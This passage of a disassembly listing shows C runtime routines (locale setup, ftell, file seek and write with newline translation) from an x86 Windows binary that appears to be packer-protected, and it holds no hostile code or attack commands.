esp, 0Ch cmp [ebp+arg_0], 2 jnz short loc_424ED3 mov eax, [ebp+var_A0] mov dword_4DB1C8, eax loc_424ED3: ; CODE XREF: sub_424DC0+106j cmp [ebp+arg_0], 1 jnz short loc_424EE5 mov ecx, [ebp+var_A0] mov dword_4DB1CC, ecx loc_424EE5: ; CODE XREF: sub_424DC0+117j mov edx, [ebp+arg_0] imul edx, 0Ch call off_444388[edx] test eax, eax jz short loc_424F2C mov eax, [ebp+arg_0] imul eax, 0Ch mov ecx, [ebp+var_C] mov dword_444384[eax], ecx push 2 mov edx, [ebp+var_8] push edx call sub_415860 add esp, 8 mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov dword_4DB1B0[eax*4], ecx mov edx, [ebp+var_18] mov dword_4DB1C8, edx xor eax, eax jmp short loc_424F4F ; --------------------------------------------------------------------------- loc_424F2C: ; CODE XREF: sub_424DC0+133j cmp [ebp+var_C], offset dword_444274 jz short loc_424F43 push 2 mov eax, [ebp+var_C] push eax call sub_415860 add esp, 8 loc_424F43: ; CODE XREF: sub_424DC0+173j mov ecx, [ebp+arg_0] imul ecx, 0Ch mov eax, dword_444384[ecx] loc_424F4F: ; CODE XREF: sub_424DC0+34j ; sub_424DC0+6Bj ... mov esp, ebp pop ebp retn sub_424DC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424F60 proc near ; CODE XREF: ___:00424C7Fp ; ___:00424D46p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 1 cmp dword_444384, 0 jnz short loc_424F94 push 167h push offset aSetlocal_c ; "setlocal.c" push 2 push 351h call sub_414DD0 add esp, 10h mov dword_444384, eax loc_424F94: ; CODE XREF: sub_424F60+14j mov eax, dword_444384 mov byte ptr [eax], 0 mov [ebp+var_4], 1 jmp short loc_424FAE ; --------------------------------------------------------------------------- loc_424FA5: ; CODE XREF: sub_424F60:loc_425057j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_424FAE: ; CODE XREF: sub_424F60+43j mov edx, [ebp+var_4] imul edx, 0Ch mov eax, dword_444384[edx] push eax push offset asc_434244 ; "=" mov ecx, [ebp+var_4] imul ecx, 0Ch mov edx, off_444380[ecx] push edx push 3 mov eax, dword_444384 push eax call sub_425200 add esp, 14h cmp [ebp+var_4], 5 jge short loc_425029 push offset asc_434230 ; ";" mov ecx, dword_444384 push ecx call sub_4184D0 add esp, 8 mov edx, [ebp+var_4] add edx, 1 imul edx, 0Ch mov eax, dword_444384[edx] push eax mov ecx, [ebp+var_4] imul ecx, 0Ch mov edx, dword_444384[ecx] push edx call sub_417870 add esp, 8 test eax, eax jz short loc_425027 mov [ebp+var_8], 0 loc_425027: ; CODE XREF: sub_424F60+BEj jmp short loc_425057 ; --------------------------------------------------------------------------- loc_425029: ; CODE XREF: sub_424F60+81j cmp [ebp+var_8], 0 jnz short loc_425036 mov eax, dword_444384 jmp short loc_42505C ; --------------------------------------------------------------------------- loc_425036: ; CODE XREF: sub_424F60+CDj push 2 mov eax, dword_444384 push eax call sub_415860 add esp, 8 mov dword_444384, 0 mov eax, off_44439C jmp short loc_42505C ; --------------------------------------------------------------------------- loc_425057: ; CODE XREF: sub_424F60:loc_425027j jmp loc_424FA5 ; --------------------------------------------------------------------------- loc_42505C: ; CODE XREF: sub_424F60+D4j ; sub_424F60+F5j mov esp, ebp pop ebp retn sub_424F60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425060 proc near ; CODE XREF: ___:00424CB7p ; sub_424DC0+26p var_88 = byte ptr -88h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 88h cmp [ebp+arg_0], 0 jnz short loc_425076 xor eax, eax jmp loc_4251E0 ; --------------------------------------------------------------------------- loc_425076: ; CODE XREF: sub_425060+Dj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] cmp ecx, 43h jnz short loc_4250D0 mov edx, [ebp+arg_0] movsx eax, byte ptr [edx+1] test eax, eax jnz short loc_4250D0 mov ecx, [ebp+arg_4] mov byte ptr [ecx], 43h mov edx, [ebp+arg_4] mov byte ptr [edx+1], 0 cmp [ebp+arg_8], 0 jz short loc_4250B9 mov eax, [ebp+arg_8] mov word ptr [eax], 0 mov ecx, [ebp+arg_8] mov word ptr [ecx+2], 0 mov edx, [ebp+arg_8] mov word ptr [edx+4], 0 loc_4250B9: ; CODE XREF: sub_425060+3Dj cmp [ebp+arg_C], 0 jz short loc_4250C8 mov eax, [ebp+arg_C] mov dword ptr [eax], 0 loc_4250C8: ; CODE XREF: sub_425060+5Dj mov eax, [ebp+arg_4] jmp loc_4251E0 ; --------------------------------------------------------------------------- loc_4250D0: ; CODE XREF: sub_425060+1Fj ; sub_425060+2Aj mov ecx, [ebp+arg_0] push ecx push offset dword_4442FC call sub_417870 add esp, 8 test eax, eax jz loc_425198 mov edx, [ebp+arg_0] push edx push offset dword_444278 call sub_417870 add esp, 8 test eax, eax jz loc_425198 mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_88] push ecx call sub_425250 add esp, 8 test eax, eax jz short loc_425120 xor eax, eax jmp loc_4251E0 ; --------------------------------------------------------------------------- loc_425120: ; CODE XREF: sub_425060+B7j lea edx, [ebp+var_88] push edx push offset dword_4DB1A4 lea eax, [ebp+var_88] push eax call sub_42BE10 add esp, 0Ch test eax, eax jnz short loc_425146 xor eax, eax jmp loc_4251E0 ; --------------------------------------------------------------------------- loc_425146: ; CODE XREF: sub_425060+DDj xor ecx, ecx mov cx, word_4DB1A8 mov dword_4DB1AC, ecx lea edx, [ebp+var_88] push edx push offset dword_4442FC call sub_4253B0 add esp, 8 mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_425186 mov edx, [ebp+arg_0] push edx push offset dword_444278 call sub_4184C0 add esp, 8 jmp short loc_425198 ; --------------------------------------------------------------------------- loc_425186: ; CODE XREF: sub_425060+111j push offset dword_4442FC push offset dword_444278 call sub_4184C0 add esp, 8 loc_425198: ; CODE XREF: sub_425060+83j ; sub_425060+9Cj ... cmp [ebp+arg_8], 0 jz short loc_4251B1 push 6 push offset dword_4DB1A4 mov eax, [ebp+arg_8] push eax call sub_4187B0 add esp, 0Ch loc_4251B1: ; CODE XREF: sub_425060+13Cj cmp [ebp+arg_C], 0 jz short loc_4251CA push 4 push offset dword_4DB1AC mov ecx, [ebp+arg_C] push ecx call sub_4187B0 add esp, 0Ch loc_4251CA: ; CODE XREF: sub_425060+155j push offset dword_4442FC mov edx, [ebp+arg_4] push edx call sub_4184C0 add esp, 8 mov eax, offset dword_4442FC loc_4251E0: ; CODE XREF: sub_425060+11j ; sub_425060+6Bj ... mov esp, ebp pop ebp retn sub_425060 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4251F0 proc near ; CODE XREF: sub_424DC0+12Bp ; DATA XREF: ___:off_444388o push ebp mov ebp, esp xor eax, eax pop ebp retn sub_4251F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425200 proc near ; CODE XREF: sub_424F60+75p ; sub_4253B0+30p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 8 lea eax, [ebp+arg_8] mov [ebp+var_4], eax mov [ebp+var_8], 0 jmp short loc_42521E ; --------------------------------------------------------------------------- loc_425215: ; CODE XREF: sub_425200+42j mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx loc_42521E: ; CODE XREF: sub_425200+13j mov edx, [ebp+var_8] cmp edx, [ebp+arg_4] jge short loc_425244 mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov edx, [ecx-4] push edx mov eax, [ebp+arg_0] push eax call sub_4184D0 add esp, 8 jmp short loc_425215 ; --------------------------------------------------------------------------- loc_425244: ; CODE XREF: sub_425200+24j ; DATA XREF: ___:00444774o ... mov [ebp+var_4], 0 mov esp, ebp pop ebp retn sub_425200 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425250 proc near ; CODE XREF: sub_425060+ADp var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push 88h push 0 mov eax, [ebp+arg_0] push eax call sub_417070 add esp, 0Ch mov ecx, [ebp+arg_4] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_42527A xor eax, eax jmp loc_4253A9 ; --------------------------------------------------------------------------- loc_42527A: ; CODE XREF: sub_425250+21j mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax] cmp ecx, 2Eh jnz short loc_4252B0 mov edx, [ebp+arg_4] movsx eax, byte ptr [edx+1] test eax, eax jz short loc_4252B0 mov ecx, [ebp+arg_4] add ecx, 1 push ecx mov edx, [ebp+arg_0] add edx, 80h push edx call sub_4184C0 add esp, 8 xor eax, eax jmp loc_4253A9 ; --------------------------------------------------------------------------- loc_4252B0: ; CODE XREF: sub_425250+33j ; sub_425250+3Ej mov [ebp+var_4], 0 jmp short loc_4252C2 ; --------------------------------------------------------------------------- loc_4252B9: ; CODE XREF: sub_425250+152j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_4252C2: ; CODE XREF: sub_425250+67j push offset a___0 ; "_.," mov ecx, [ebp+arg_4] push ecx call sub_42BD90 add esp, 8 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_4252E4 or eax, 0FFFFFFFFh jmp loc_4253A9 ; --------------------------------------------------------------------------- loc_4252E4: ; CODE XREF: sub_425250+8Aj mov edx, [ebp+arg_4] add edx, [ebp+var_C] mov al, [edx] mov [ebp+var_8], al cmp [ebp+var_4], 0 jnz short loc_42531A cmp [ebp+var_C], 40h jge short loc_42531A movsx ecx, [ebp+var_8] cmp ecx, 2Eh jz short loc_42531A mov edx, [ebp+var_C] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_417770 add esp, 0Ch jmp short loc_425380 ; --------------------------------------------------------------------------- loc_42531A: ; CODE XREF: sub_425250+A3j ; sub_425250+A9j ... cmp [ebp+var_4], 1 jnz short loc_425348 cmp [ebp+var_C], 40h jge short loc_425348 movsx edx, [ebp+var_8] cmp edx, 5Fh jz short loc_425348 mov eax, [ebp+var_C] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] add edx, 40h push edx call sub_417770 loc_425343: ; DATA XREF: ___:00444CF4o add esp, 0Ch jmp short loc_425380 ; --------------------------------------------------------------------------- loc_425348: ; CODE XREF: sub_425250+CEj ; sub_425250+D4j ... cmp [ebp+var_4], 2 jnz short loc_42537B movsx eax, [ebp+var_8] test eax, eax jz short loc_42535F movsx ecx, [ebp+var_8] cmp ecx, 2Ch jnz short loc_42537B loc_42535F: ; CODE XREF: sub_425250+104j mov edx, [ebp+var_C] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] add ecx, 80h push ecx call sub_417770 add esp, 0Ch jmp short loc_425380 ; --------------------------------------------------------------------------- loc_42537B: ; CODE XREF: sub_425250+FCj ; sub_425250+10Dj or eax, 0FFFFFFFFh jmp short loc_4253A9 ; --------------------------------------------------------------------------- loc_425380: ; CODE XREF: sub_425250+C8j ; sub_425250+F6j ... movsx edx, [ebp+var_8] cmp edx, 2Ch jnz short loc_42538B jmp short loc_4253A7 ; --------------------------------------------------------------------------- loc_42538B: ; CODE XREF: sub_425250+137j movsx eax, [ebp+var_8] test eax, eax jnz short loc_425395 jmp short loc_4253A7 ; --------------------------------------------------------------------------- loc_425395: ; CODE XREF: sub_425250+141j mov ecx, [ebp+var_C] mov edx, [ebp+arg_4] lea eax, [edx+ecx+1] mov [ebp+arg_4], eax jmp loc_4252B9 ; --------------------------------------------------------------------------- loc_4253A7: ; CODE XREF: sub_425250+139j ; sub_425250+143j xor eax, eax loc_4253A9: ; CODE XREF: sub_425250+25j ; sub_425250+5Bj ... mov esp, ebp pop ebp retn sub_425250 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4253B0 proc near ; CODE XREF: sub_425060+101p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4184C0 add esp, 8 mov edx, [ebp+arg_4] movsx eax, byte ptr [edx+40h] test eax, eax jz short loc_4253E8 mov ecx, [ebp+arg_4] add ecx, 40h push ecx push offset a__2 ; "_" push 2 mov edx, [ebp+arg_0] push edx call sub_425200 add esp, 10h loc_4253E8: ; CODE XREF: sub_4253B0+1Cj mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax+80h] test ecx, ecx jz short loc_425413 mov edx, [ebp+arg_4] add edx, 80h push edx push offset a__1 ; "." push 2 mov eax, [ebp+arg_0] push eax call sub_425200 add esp, 10h loc_425413: ; CODE XREF: sub_4253B0+44j pop ebp retn sub_4253B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425420 proc near ; CODE XREF: sub_419FE0+10Ep ; sub_41E730+216p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_4DB560 jnb short loc_425451 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4DB460[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx loc_42544F: ; DATA XREF: ___:00444CE4o jnz short loc_42546C loc_425451: ; CODE XREF: sub_425420+Dj call sub_420520 mov dword ptr [eax], 9 call sub_420530 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_42549E ; --------------------------------------------------------------------------- loc_42546C: ; CODE XREF: sub_425420:loc_42544Fj mov edx, [ebp+arg_0] push edx call sub_427BE0 add esp, 4 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_4254B0 add esp, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push eax call sub_427C70 add esp, 4 mov eax, [ebp+var_4] loc_42549E: ; CODE XREF: sub_425420+4Aj mov esp, ebp pop ebp retn sub_425420 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4254B0 proc near ; CODE XREF: sub_41DDD0+40Dp ; sub_425420+64p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push eax call sub_427A60 add esp, 4 mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_4254DE call sub_420520 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp loc_42555E ; --------------------------------------------------------------------------- loc_4254DE: ; CODE XREF: sub_4254B0+19j mov ecx, [ebp+arg_8] push ecx push 0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+var_C] push eax nop call near ptr 27A0000h mov [ebp+var_8], eax cmp [ebp+var_8], 0FFFFFFFFh jnz short loc_425506 call near ptr 26908EFh nop mov [ebp+var_4], eax jmp short loc_42550D ; --------------------------------------------------------------------------- loc_425506: ; CODE XREF: sub_4254B0+49j mov [ebp+var_4], 0 loc_42550D: ; CODE XREF: sub_4254B0+54j cmp [ebp+var_4], 0 jz short loc_425524 mov ecx, [ebp+var_4] push ecx call sub_420480 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_42555E ; --------------------------------------------------------------------------- loc_425524: ; CODE XREF: sub_4254B0+61j mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, dword_4DB460[edx*4] mov dl, [ecx+eax+4] and dl, 0FDh mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov eax, dword_4DB460[eax*4] mov [eax+ecx+4], dl mov eax, [ebp+var_8] loc_42555E: ; CODE XREF: sub_4254B0+29j ; sub_4254B0+72j mov esp, ebp pop ebp retn sub_4254B0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi loc_425577: ; CODE XREF: ___:0042559Fj cmp dword ptr [ebp+8], 0 jnz short loc_42559B push offset dword_4334A4 push 0 push 32h push offset aFtell_c ; "ftell.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_42559B int 3 ; Trap to Debugger loc_42559B: ; CODE XREF: ___:0042557Bj ; ___:00425598j xor eax, eax test eax, eax jnz short loc_425577 mov ecx, [ebp+8] push ecx call sub_418E90 add esp, 4 mov edx, [ebp+8] push edx call sub_4255E0 add esp, 4 mov [ebp-4], eax mov eax, [ebp+8] push eax call sub_418F00 add esp, 4 mov eax, [ebp-4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4255E0 proc near ; CODE XREF: sub_419FE0+87p ; ___:004255B1p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi loc_4255E9: ; CODE XREF: sub_4255E0+31j cmp [ebp+arg_0], 0 jnz short loc_42560D push offset dword_4334B4 push 0 push 63h push offset aFtell_c ; "ftell.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_42560D int 3 ; Trap to Debugger loc_42560D: ; CODE XREF: sub_4255E0+Dj ; sub_4255E0+2Aj xor eax, eax test eax, eax jnz short loc_4255E9 mov ecx, [ebp+arg_0] mov [ebp+var_C], ecx mov edx, [ebp+var_C] mov eax, [edx+10h] mov [ebp+var_8], eax mov ecx, [ebp+var_C] cmp dword ptr [ecx+4], 0 jge short loc_425635 mov edx, [ebp+var_C] mov dword ptr [edx+4], 0 loc_425635: ; CODE XREF: sub_4255E0+49j push 1 push 0 mov eax, [ebp+var_8] push eax call sub_425420 add esp, 0Ch mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jge short loc_425656 or eax, 0FFFFFFFFh jmp loc_425873 ; --------------------------------------------------------------------------- loc_425656: ; CODE XREF: sub_4255E0+6Cj mov ecx, [ebp+var_C] mov edx, [ecx+0Ch] and edx, 108h test edx, edx jnz short loc_425676 mov eax, [ebp+var_C] mov ecx, [ebp+var_1C] sub ecx, [eax+4] mov eax, ecx jmp loc_425873 ; --------------------------------------------------------------------------- loc_425676: ; CODE XREF: sub_4255E0+84j mov edx, [ebp+var_C] mov eax, [ebp+var_C] mov ecx, [edx] sub ecx, [eax+8] mov [ebp+var_18], ecx mov edx, [ebp+var_C] mov eax, [edx+0Ch] and eax, 3 test eax, eax jz short loc_4256EC mov ecx, [ebp+var_8] sar ecx, 5 mov edx, [ebp+var_8] and edx, 1Fh imul edx, 24h mov eax, dword_4DB460[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 80h test ecx, ecx jz short loc_4256EA mov edx, [ebp+var_C] mov eax, [edx+8] mov [ebp+var_4], eax jmp short loc_4256CA ; --------------------------------------------------------------------------- loc_4256C1: ; CODE XREF: sub_4255E0:loc_4256E8j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_4256CA: ; CODE XREF: sub_4255E0+DFj mov edx, [ebp+var_C] mov eax, [ebp+var_4] cmp eax, [edx] jnb short loc_4256EA mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0Ah jnz short loc_4256E8 mov eax, [ebp+var_18] add eax, 1 mov [ebp+var_18], eax loc_4256E8: ; CODE XREF: sub_4255E0+FDj jmp short loc_4256C1 ; --------------------------------------------------------------------------- loc_4256EA: ; CODE XREF: sub_4255E0+D4j ; sub_4255E0+F2j jmp short loc_42570F ; --------------------------------------------------------------------------- loc_4256EC: ; CODE XREF: sub_4255E0+AFj mov ecx, [ebp+var_C] mov edx, [ecx+0Ch] and edx, 80h test edx, edx jnz short loc_42570F call sub_420520 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp loc_425873 ; --------------------------------------------------------------------------- loc_42570F: ; CODE XREF: sub_4255E0:loc_4256EAj ; sub_4255E0+11Aj cmp [ebp+var_1C], 0 jnz short loc_42571D mov eax, [ebp+var_18] jmp loc_425873 ; --------------------------------------------------------------------------- loc_42571D: ; CODE XREF: sub_4255E0+133j mov eax, [ebp+var_C] mov ecx, [eax+0Ch] and ecx, 1 test ecx, ecx jz loc_42586D mov edx, [ebp+var_C] cmp dword ptr [edx+4], 0 jnz short loc_425743 mov [ebp+var_18], 0 jmp loc_42586D ; --------------------------------------------------------------------------- loc_425743: ; CODE XREF: sub_4255E0+155j mov eax, [ebp+var_C] mov ecx, [ebp+var_C] mov edx, [eax] sub edx, [ecx+8] mov eax, [ebp+var_C] mov ecx, [eax+4] add ecx, edx mov [ebp+var_10], ecx mov edx, [ebp+var_8] sar edx, 5 mov eax, [ebp+var_8] and eax, 1Fh imul eax, 24h loc_425768: ; DATA XREF: Themida_:0055BE25o mov ecx, dword_4DB460[edx*4] movsx edx, byte ptr [ecx+eax+4] and edx, 80h test edx, edx jz loc_425864 push 2 push 0 mov eax, [ebp+var_8] push eax call sub_425420 add esp, 0Ch cmp eax, [ebp+var_1C] jnz short loc_4257F0 mov ecx, [ebp+var_C] mov edx, [ecx+8] add edx, [ebp+var_10] mov [ebp+var_14], edx mov eax, [ebp+var_C] mov ecx, [eax+8] mov [ebp+var_4], ecx jmp short loc_4257B7 ; --------------------------------------------------------------------------- loc_4257AE: ; CODE XREF: sub_4255E0:loc_4257D3j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_4257B7: ; CODE XREF: sub_4255E0+1CCj mov eax, [ebp+var_4] cmp eax, [ebp+var_14] jnb short loc_4257D5 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0Ah jnz short loc_4257D3 mov eax, [ebp+var_10] add eax, 1 mov [ebp+var_10], eax loc_4257D3: ; CODE XREF: sub_4255E0+1E8j jmp short loc_4257AE ; --------------------------------------------------------------------------- loc_4257D5: ; CODE XREF: sub_4255E0+1DDj mov ecx, [ebp+var_C] mov edx, [ecx+0Ch] and edx, 2000h test edx, edx jz short loc_4257EE mov eax, [ebp+var_10] add eax, 1 mov [ebp+var_10], eax loc_4257EE: ; CODE XREF: sub_4255E0+203j jmp short loc_425864 ; --------------------------------------------------------------------------- loc_4257F0: ; CODE XREF: sub_4255E0+1B5j push 0 mov ecx, [ebp+var_1C] push ecx mov edx, [ebp+var_8] push edx call sub_425420 add esp, 0Ch cmp [ebp+var_10], 200h ja short loc_425830 mov eax, [ebp+var_C] mov ecx, [eax+0Ch] and ecx, 8 test ecx, ecx jz short loc_425830 mov edx, [ebp+var_C] mov eax, [edx+0Ch] and eax, 400h test eax, eax jnz short loc_425830 mov [ebp+var_10], 200h jmp short loc_425839 ; --------------------------------------------------------------------------- loc_425830: ; CODE XREF: sub_4255E0+229j ; sub_4255E0+236j ... mov ecx, [ebp+var_C] mov edx, [ecx+18h] mov [ebp+var_10], edx loc_425839: ; CODE XREF: sub_4255E0+24Ej mov eax, [ebp+var_8] sar eax, 5 mov ecx, [ebp+var_8] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DB460[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 4 test eax, eax jz short loc_425864 mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx loc_425864: ; CODE XREF: sub_4255E0+19Cj ; sub_4255E0:loc_4257EEj ... mov edx, [ebp+var_1C] sub edx, [ebp+var_10] mov [ebp+var_1C], edx loc_42586D: ; CODE XREF: sub_4255E0+148j ; sub_4255E0+15Ej mov eax, [ebp+var_1C] add eax, [ebp+var_18] loc_425873: ; CODE XREF: sub_4255E0+71j ; sub_4255E0+91j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4255E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425880 proc near ; CODE XREF: sub_41A150+147p ; sub_41B420+57p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_4DB560 jnb short loc_4258B1 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4DB460[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_4258CC loc_4258B1: ; CODE XREF: sub_425880+Dj call sub_420520 mov dword ptr [eax], 9 call sub_420530 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_4258FE ; --------------------------------------------------------------------------- loc_4258CC: ; CODE XREF: sub_425880+2Fj mov edx, [ebp+arg_0] push edx call sub_427BE0 add esp, 4 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_425910 add esp, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push eax call sub_427C70 add esp, 4 mov eax, [ebp+var_4] loc_4258FE: ; CODE XREF: sub_425880+4Aj mov esp, ebp pop ebp retn sub_425880 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425910 proc near ; CODE XREF: sub_425880+64p ; sub_42CE20+145p var_420 = dword ptr -420h var_41C = byte ptr -41Ch var_418 = dword ptr -418h var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 420h mov [ebp+var_10], 0 mov eax, [ebp+var_10] mov [ebp+var_420], eax cmp [ebp+arg_8], 0 jnz short loc_425936 xor eax, eax jmp loc_425B7F ; --------------------------------------------------------------------------- loc_425936: ; CODE XREF: sub_425910+1Dj mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4DB460[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 20h test ecx, ecx jz short loc_425968 push 2 push 0 mov edx, [ebp+arg_0] push edx call sub_4254B0 add esp, 0Ch loc_425968: ; CODE XREF: sub_425910+46j mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DB460[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 80h test eax, eax jz loc_425A9C mov ecx, [ebp+arg_4] mov [ebp+var_4], ecx mov [ebp+var_C], 0 loc_42599D: ; CODE XREF: sub_425910:loc_425A95j mov edx, [ebp+var_4] sub edx, [ebp+arg_4] cmp edx, [ebp+arg_8] jnb loc_425A9A lea eax, [ebp+var_414] mov [ebp+var_8], eax loc_4259B5: ; CODE XREF: sub_425910+115j mov ecx, [ebp+var_8] lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jge short loc_425A27 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jnb short loc_425A27 mov ecx, [ebp+var_4] mov dl, [ecx] mov [ebp+var_41C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax movsx ecx, [ebp+var_41C] cmp ecx, 0Ah jnz short loc_425A11 mov edx, [ebp+var_420] add edx, 1 mov [ebp+var_420], edx mov eax, [ebp+var_8] mov byte ptr [eax], 0Dh mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx loc_425A11: ; CODE XREF: sub_425910+E1j mov edx, [ebp+var_8] mov al, [ebp+var_41C] mov [edx], al mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx jmp short loc_4259B5 ; --------------------------------------------------------------------------- loc_425A27: ; CODE XREF: sub_425910+B6j ; sub_425910+C1j push 0 lea edx, [ebp+var_418] push edx mov eax, [ebp+var_8] lea ecx, [ebp+var_414] sub eax, ecx push eax lea edx, [ebp+var_414] push edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DB460[eax*4] mov eax, [edx+ecx] push eax nop call near ptr 2720000h test eax, eax jz short loc_425A8A mov ecx, [ebp+var_10] add ecx, [ebp+var_418] mov [ebp+var_10], ecx mov edx, [ebp+var_8] lea eax, [ebp+var_414] sub edx, eax cmp [ebp+var_418], edx jge short loc_425A88 jmp short loc_425A9A ; --------------------------------------------------------------------------- loc_425A88: ; CODE XREF: sub_425910+174j jmp short loc_425A95 ; --------------------------------------------------------------------------- loc_425A8A: ; CODE XREF: sub_425910+155j nop call near ptr 26908EFh mov [ebp+var_C], eax jmp short loc_425A9A ; --------------------------------------------------------------------------- 